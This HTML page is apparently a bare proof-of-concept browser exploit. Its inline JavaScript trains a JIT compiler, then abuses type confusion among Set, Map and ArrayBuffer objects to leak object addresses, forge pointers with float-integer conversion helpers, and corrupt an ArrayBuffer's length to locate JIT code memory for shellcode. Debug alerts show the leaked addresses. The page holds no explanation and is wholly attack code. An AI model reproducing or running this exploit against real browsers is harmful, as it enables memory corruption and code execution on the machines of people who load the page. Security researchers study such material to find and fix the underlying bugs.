<html>
<body>
<script>
var ab = new ArrayBuffer(0x200);
var n;
var m;
var l;
var evil_f = new Function("var a = 1000000");
function d2u(num1,num2){
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}
function u2d(num){
f = new Float64Array(1);
f[0] = num;
d = new Uint32Array(f.buffer);
return d[1] * 0x100000000 + d[0];
}
function Ctor() {
n = new Set();
}
function Ctor2() {
m = new Map();
}
function Ctor3() {
l = new ArrayBuffer();
}
function Check(obj){
n.xyz = 3.4766863919152113e-308
n.xyz1 = 0x0;
n.xyz2 = 0x7000;
n.xyz3 = obj;
}
function Check2(addr){
m.xyz = 3.4766863919152113e-308
m.xyz1 = 0x0
m.xyz2 = 0x7000
m.xyz3 = addr
}
function Check3(addr){
l.xyz = 3.4766863919152113e-308;
l.xyz1 = addr
}
for(var i=0; i<10000; ++i) {
Ctor();
Ctor2();
Ctor3();
}
for(var i=0; i<10000; ++i) {
Check(null);
Check2(3.4766863919152113e-308);
Check3(3.4766863919152113e-308);
}
Ctor();
Ctor2();
Ctor3();
Check(ab);
var str = new String(null);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
alert("ab_addr: 0x"+ab_addr.toString(16));
var ab_len_ptr = ab_addr+24;
ab_len_ptr_float = d2u(ab_len_ptr/0x100000000,ab_len_ptr&0xffffffff);
Check(evil_f);
var func_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
alert("func_addr: 0x"+func_addr.toString(16));
func_addr = func_addr - 1;
func_addr_float = d2u(func_addr/0x100000000,func_addr&0xffffffff);
Check(String(null));
alert(ab_len_ptr_float);
Check2(ab_len_ptr_float);
alert(func_addr_float);
Check3(func_addr_float);
f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
alert("0x"+(u2d(shellcode_addr_float)).toString(16));
</script>
</body>
</html>
| 
